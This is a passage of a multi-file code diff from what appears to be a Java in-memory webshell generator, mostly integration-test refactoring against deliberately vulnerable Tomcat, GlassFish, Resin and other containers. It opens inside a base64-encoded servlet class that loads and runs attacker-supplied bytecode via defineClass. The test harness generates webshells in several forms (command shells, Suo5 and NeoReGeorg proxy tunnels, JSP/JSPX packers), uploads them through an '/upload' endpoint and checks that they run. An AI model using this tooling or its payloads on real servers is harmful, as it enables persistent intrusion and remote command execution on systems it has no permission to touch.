ha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.SERVLET)
.build();
CustomConfig customConfig = CustomConfig.builder()
.shellClassName(className)
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
.build();
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
ClassReader classReader = new ClassReader(bytes1);
ClassReferenceVisitor classVisitor = new ClassReferenceVisitor();
classReader.accept(classVisitor, 0);
Set<String> referencedClasses = classVisitor.getReferencedClasses();
assertTrue(referencedClasses.contains("jakarta/servlet/Servlet"));
}
}
@@ -9,11 +9,9 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.platform.commons.util.ReflectionUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -30,12 +28,6 @@ class ListenerGeneratorTest {
}
}
public static class J {
public HttpServletResponse getResponseFromRequest(HttpServletRequest request) {
return null;
}
}
public static class FakeRequest {
public Object response = "i'm a good boy";
}
@@ -46,12 +38,6 @@ class ListenerGeneratorTest {
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world"));
}
@Test
void testGetResponseFromRequestSignatureError() {
DynamicType.Builder<?> builder = new ByteBuddy().redefine(J.class);
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world"));
}
@Test
@SneakyThrows
void test() {
@@ -2,7 +2,7 @@ package com.reajason.javaweb.probe.payload;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
+12 -7
View File
@@ -1,29 +1,31 @@
[versions]
asm = "9.9"
asm = "9.9.1"
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
jakarta-servlet-api = "5.0.0"
javax-websocket-api = "1.1"
jakarta-websocket-api = "2.2.0"
spring-webmvc = "5.3.24"
spring-webflux = "5.3.24"
reactor-netty = "1.1.25"
jackson = "2.19.0"
jetbrains-annotations = "26.0.2"
byte-buddy = "1.18.2"
byte-buddy = "1.18.4"
commons-io = "2.21.0"
commons-lang3 = "3.20.0"
commons-codec = "1.20.0"
logback = "1.5.22"
logback = "1.5.24"
okhttp3 = "5.3.2"
fastjson2 = "2.0.60"
java-websocket = "1.6.0"
mockito = "5.20.0"
hamcrest = "3.0"
junit-jupiter = "5.14.1"
junit-jupiter = "5.14.2"
junit-pioneer = "2.3.0"
junit-platform = "1.14.1"
junit-platform = "1.14.2"
testcontainers = "2.0.3"
[libraries]
@@ -32,7 +34,10 @@ asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -63,5 +68,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
lombok = { id = "io.freefair.lombok", version = "8.14.2" }
shadow = { id = "com.gradleup.shadow", version = "9.0.2"}
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
@@ -0,0 +1,11 @@
services:
resin2117:
image: reajason/resin:2.1.17-jdk6
container_name: resin2117
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
@@ -0,0 +1,13 @@
services:
tomcat:
image: tomcat:10.1-jre11
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- tomcat
@@ -0,0 +1,13 @@
services:
tomcat:
image: tomcat:8-jre8
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- tomcat
@@ -0,0 +1,58 @@
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
keepalive_timeout 65;
gzip on;
upstream tomcat_backend {
server tomcat:8080;
}
server {
listen 80;
server_name localhost;
access_log /var/log/nginx/tomcat_access.log;
error_log /var/log/nginx/tomcat_error.log;
client_max_body_size 50M;
location / {
proxy_pass http://tomcat_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
proxy_buffering on;
proxy_buffer_size 4k;
proxy_buffers 8 4k;
proxy_busy_buffers_size 8k;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
}
-2
View File
@@ -1,2 +0,0 @@
#!/bin/bash
pgrep -f 'ASMain|GlassFishMain' | tr -d '\n'
+1 -1
View File
@@ -1,2 +1,2 @@
#!/bin/bash
pgrep -f Resin | tr -d '\n'
pgrep -f 'Resin|-Dresin' | tr -d '\n'
@@ -0,0 +1,258 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Assumptions;
import org.junit.jupiter.api.TestInstance;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.EnumSource;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.List;
import java.util.Map;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/9/19
*/
@Slf4j
@TestInstance(TestInstance.Lifecycle.PER_CLASS)
public abstract class AbstractContainerTest {
private static final String NO_PROBE = "__NO_PROBE__";
protected static Network newNetwork() {
return Network.newNetwork();
}
protected static GenericContainer<?> buildPythonContainer(Network network) {
return new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(ContainerTool.neoGeorgDockerfile))
.withNetwork(network);
}
protected static GenericContainer<?> buildContainer(ContainerTestConfig config, Network network) {
GenericContainer<?> container = createContainer(config);
if (config.getWarFile() != null && StringUtils.isNotBlank(config.getWarDeployPath())) {
container.withCopyToContainer(config.getWarFile(), config.getWarDeployPath());
}
if(config.getJarFile() != null && StringUtils.isNotBlank(config.getJarDeployPath())){
container.withCopyToContainer(config.getJarFile(), config.getJarDeployPath());
}
if (config.getJattachFile() != null) {
container.withCopyToContainer(config.getJattachFile(), "/jattach");
}
if (config.getPidScript() != null) {
container.withCopyToContainer(config.getPidScript(), "/fetch_pid.sh");
}
Map<String, String> env = config.getEnv();
if (env != null) {
env.forEach(container::withEnv);
}
if (network != null) {
container.withNetwork(network);
if (StringUtils.isNotBlank(config.getNetworkAlias())) {
container.withNetworkAliases(config.getNetworkAlias());
}
}
if (config.getWaitStrategy() != null) {
container.waitingFor(config.getWaitStrategy());
} else if (StringUtils.isNotBlank(config.getHealthCheckPath())) {
container.waitingFor(Wait.forHttp(config.getHealthCheckPath()));
}
container.withExposedPorts(config.getExposedPort());
if (config.isPrivilegedMode()) {
container.withPrivilegedMode(true);
}
if(config.getCommand() != null){
container.withCommand(config.getCommand());
}
return container;
}
protected static GenericContainer<?> buildContainer(ContainerTestConfig config) {
return buildContainer(config, null);
}
protected abstract ContainerTestConfig getConfig();
@AfterAll
void tearDown() {
GenericContainer<?> container = getContainer();
if (container == null) {
return;
}
long logDelayMillis = getConfig().getLogDelayMillis();
if (logDelayMillis > 0) {
try {
Thread.sleep(logDelayMillis);
} catch (InterruptedException ex) {
Thread.currentThread().interrupt();
}
}
String logs = container.getLogs();
if (getConfig().isLogContainerOutput()) {
log.info(logs);
}
if (getConfig().isAssertLogs()) {
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(getConfig(), shellType, shellTool, packer);
}
@ParameterizedTest
@MethodSource("probeShellTypesProvider")
void testProbeInject(String shellType) {
if (NO_PROBE.equals(shellType)) {
Assumptions.assumeTrue(false, "No probe shell types configured.");
}
runProbeInject(getConfig(), shellType);
}
@ParameterizedTest
@EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"})
void testJspPackers(Packers packer) {
ContainerTestConfig config = getConfig();
if (config.isEnableJspPackerTest()) {
String shellType = config.isJakarta() ? ShellType.JAKARTA_FILTER : ShellType.FILTER;
String shellTool = ShellTool.Command;
runShellInject(config, shellType, shellTool, packer);
}
}
protected Stream<Arguments> casesProvider() {
return generateTestCases(getConfig());
}
protected Stream<String> probeShellTypesProvider() {
List<String> probeShellTypes = getConfig().getProbeShellTypes();
if (probeShellTypes == null || probeShellTypes.isEmpty()) {
return Stream.of(NO_PROBE);
}
return probeShellTypes.stream();
}
protected static Stream<Arguments> generateTestCases(ContainerTestConfig config) {
if (config.getUnSupportedCases() != null || config.getUnSupportedShellTools() != null) {
return TestCasesProvider.getTestCases(
config.getImageName(),
config.getServer(),
config.getSupportedShellTypes(),
config.getTestPackers(),
config.getUnSupportedCases(),
config.getUnSupportedShellTools());
}
return TestCasesProvider.getTestCases(
config.getImageName(),
config.getServer(),
config.getSupportedShellTypes(),
config.getTestPackers());
}
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
String url = getUrl();
if (StringUtils.isNotBlank(config.getServerVersion())) {
ShellAssertion.shellInjectIsOk(url, config.getServer(), config.getServerVersion(), shellType, shellTool,
config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer());
} else {
ShellAssertion.shellInjectIsOk(url, config.getServer(), shellType, shellTool,
config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer());
}
}
protected void runProbeInject(ContainerTestConfig config, String shellType) {
String url = getUrl();
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
? config.getTargetJdkVersion()
: config.getProbeTargetJdkVersion();
if (StringUtils.isNotBlank(config.getServerVersion())) {
ShellAssertion.testProbeInject(url, config.getServer(), config.getServerVersion(), shellType, probeTargetJdkVersion);
} else {
ShellAssertion.testProbeInject(url, config.getServer(), shellType, probeTargetJdkVersion);
}
}
protected String getUrl() {
GenericContainer<?> container = getContainer();
ContainerTestConfig config = getConfig();
String host = container.getHost();
int port = container.getMappedPort(config.getExposedPort());
String url = "http://" + host + ":" + port;
String contextPath = config.getContextPath();
if (StringUtils.isNotBlank(contextPath)) {
if (!contextPath.startsWith("/")) {
contextPath = "/" + contextPath;
}
url += contextPath;
}
log.info("container started, app url is : {}", url);
return url;
}
protected GenericContainer<?> getContainer() {
return getContainerField("container", true);
}
protected GenericContainer<?> getPythonContainer() {
return getContainerField("python", false);
}
private static GenericContainer<?> createContainer(ContainerTestConfig config) {
if (config.getDockerfilePath() != null) {
return new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(config.getDockerfilePath()));
}
if (StringUtils.isBlank(config.getImageName())) {
throw new IllegalArgumentException("imageName is required when dockerfilePath is not set.");
}
return new GenericContainer<>(config.getImageName());
}
private GenericContainer<?> getContainerField(String fieldName, boolean required) {
Field field = findField(getClass(), fieldName);
if (field == null) {
if (required) {
throw new IllegalStateException("Missing @" + fieldName + " container on " + getClass().getName());
}
return null;
}
try {
field.setAccessible(true);
Object value = field.get(Modifier.isStatic(field.getModifiers()) ? null : this);
return (GenericContainer<?>) value;
} catch (IllegalAccessException ex) {
throw new IllegalStateException("Unable to access " + fieldName + " on " + getClass().getName(), ex);
}
}
private static Field findField(Class<?> type, String name) {
Class<?> current = type;
while (current != null) {
try {
return current.getDeclaredField(name);
} catch (NoSuchFieldException ex) {
current = current.getSuperclass();
}
}
return null;
}
}
@@ -0,0 +1,147 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.packer.Packers;
import lombok.Builder;
import lombok.Getter;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.tuple.Triple;
import org.testcontainers.containers.wait.strategy.WaitStrategy;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/9/19
*/
@Getter
@Builder
public class ContainerTestConfig {
private final String imageName;
private final Path dockerfilePath;
private final String command;
private final String server;
private final String serverVersion;
@Builder.Default
private final int targetJdkVersion = Opcodes.V1_8;
private final Integer probeTargetJdkVersion;
@Builder.Default
private final int exposedPort = 8080;
@Builder.Default
private final String contextPath = "/app";
@Builder.Default
private final String healthCheckPath = "/app";
private final WaitStrategy waitStrategy;
private final MountableFile warFile;
private final String warDeployPath;
private final MountableFile jarFile;
private final String jarDeployPath;
@Builder.Default
private final MountableFile jattachFile = ContainerTool.jattachFile;
private final MountableFile pidScript;
private final List<String> supportedShellTypes;
private final List<Packers> testPackers;
private final List<String> probeShellTypes;
private final List<Triple<String, String, Packers>> unSupportedCases;
private final List<String> unSupportedShellTools;
@Builder.Default
private final boolean assertLogs = true;
@Builder.Default
private final boolean logContainerOutput = true;
@Builder.Default
private final long logDelayMillis = 0L;
@Builder.Default
private final boolean privilegedMode = false;
@Builder.Default
private final String networkAlias = "app";
private final Map<String, String> env;
@Builder.Default
private final boolean jakarta = false;
@Builder.Default
private final boolean enableJspPackerTest = true;
public static ContainerTestConfigBuilder tomcat(String imageName) {
return builder()
.imageName(imageName)
.server(Server.Tomcat)
.warFile(ContainerTool.warFile)
.warDeployPath("/usr/local/tomcat/webapps/app.war")
.pidScript(ContainerTool.tomcatPid);
}
public static ContainerTestConfigBuilder jetty(String imageName) {
return builder()
.imageName(imageName)
.server(Server.Jetty)
.warFile(ContainerTool.warFile)
.warDeployPath("/var/lib/jetty/webapps/app.war")
.pidScript(ContainerTool.jettyPid);
}
public static ContainerTestConfigBuilder resin(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Resin)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.resinPid);
}
public static ContainerTestConfigBuilder jboss(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.JBoss)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.jbossPid);
}
public static ContainerTestConfigBuilder undertow(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Undertow)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.jbossPid);
}
public static ContainerTestConfigBuilder glassFish(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.GlassFish)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.glassfishPid);
}
public static ContainerTestConfigBuilder webLogic(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.WebLogic)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.weblogicPid)
.exposedPort(7001);
}
public static ContainerTestConfigBuilder webSphere(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.WebSphere)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.webspherePid)
.exposedPort(9080)
.privilegedMode(true);
}
}
@@ -18,22 +18,23 @@ public class ContainerTool {
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
public static final MountableFile springBoot2JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.jar").toAbsolutePath());
public static final MountableFile springBoot2JettyJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-jetty", "build", "libs", "vul-springboot2-jetty.jar").toAbsolutePath());
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "assets", "agent", "jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh"));
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh"));
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
@@ -48,28 +49,4 @@ public class ContainerTool {
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
int port = container.getMappedPort(8080);
String host = container.getHost();
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromWebLogic(GenericContainer<?> container) {
int port = container.getMappedPort(7001);
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromWAS(GenericContainer<?> container) {
int port = container.getMappedPort(9080);
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -90,8 +90,11 @@ public class ShellAssertion {
@SneakyThrows
public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
int targetJdkVersion, Packers packer,
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
int targetJdkVersion, Packers packer,
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
if (ShellTool.Proxy.equals(shellTool)) {
return null;
}
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
@@ -397,16 +400,16 @@ public class ShellAssertion {
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP -> {
case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
}
case JSPX -> {
case JSPX, JSPXUnicode -> {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jspx";
String filename = shellType + shellTool + packer + ".jspx";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
@@ -1,100 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.tuple.Triple;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Slf4j
@Testcontainers
public class GlassFish3ContainerTest {
public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
static Network network = Network.newNetwork();
public class GlassFish3ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:3.1.2.2-jdk6",
"/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.waitStrategy(Wait.forLogMessage(".*(deployed|done).*", 1))
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedCases(List.of(
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar),
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar)
))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
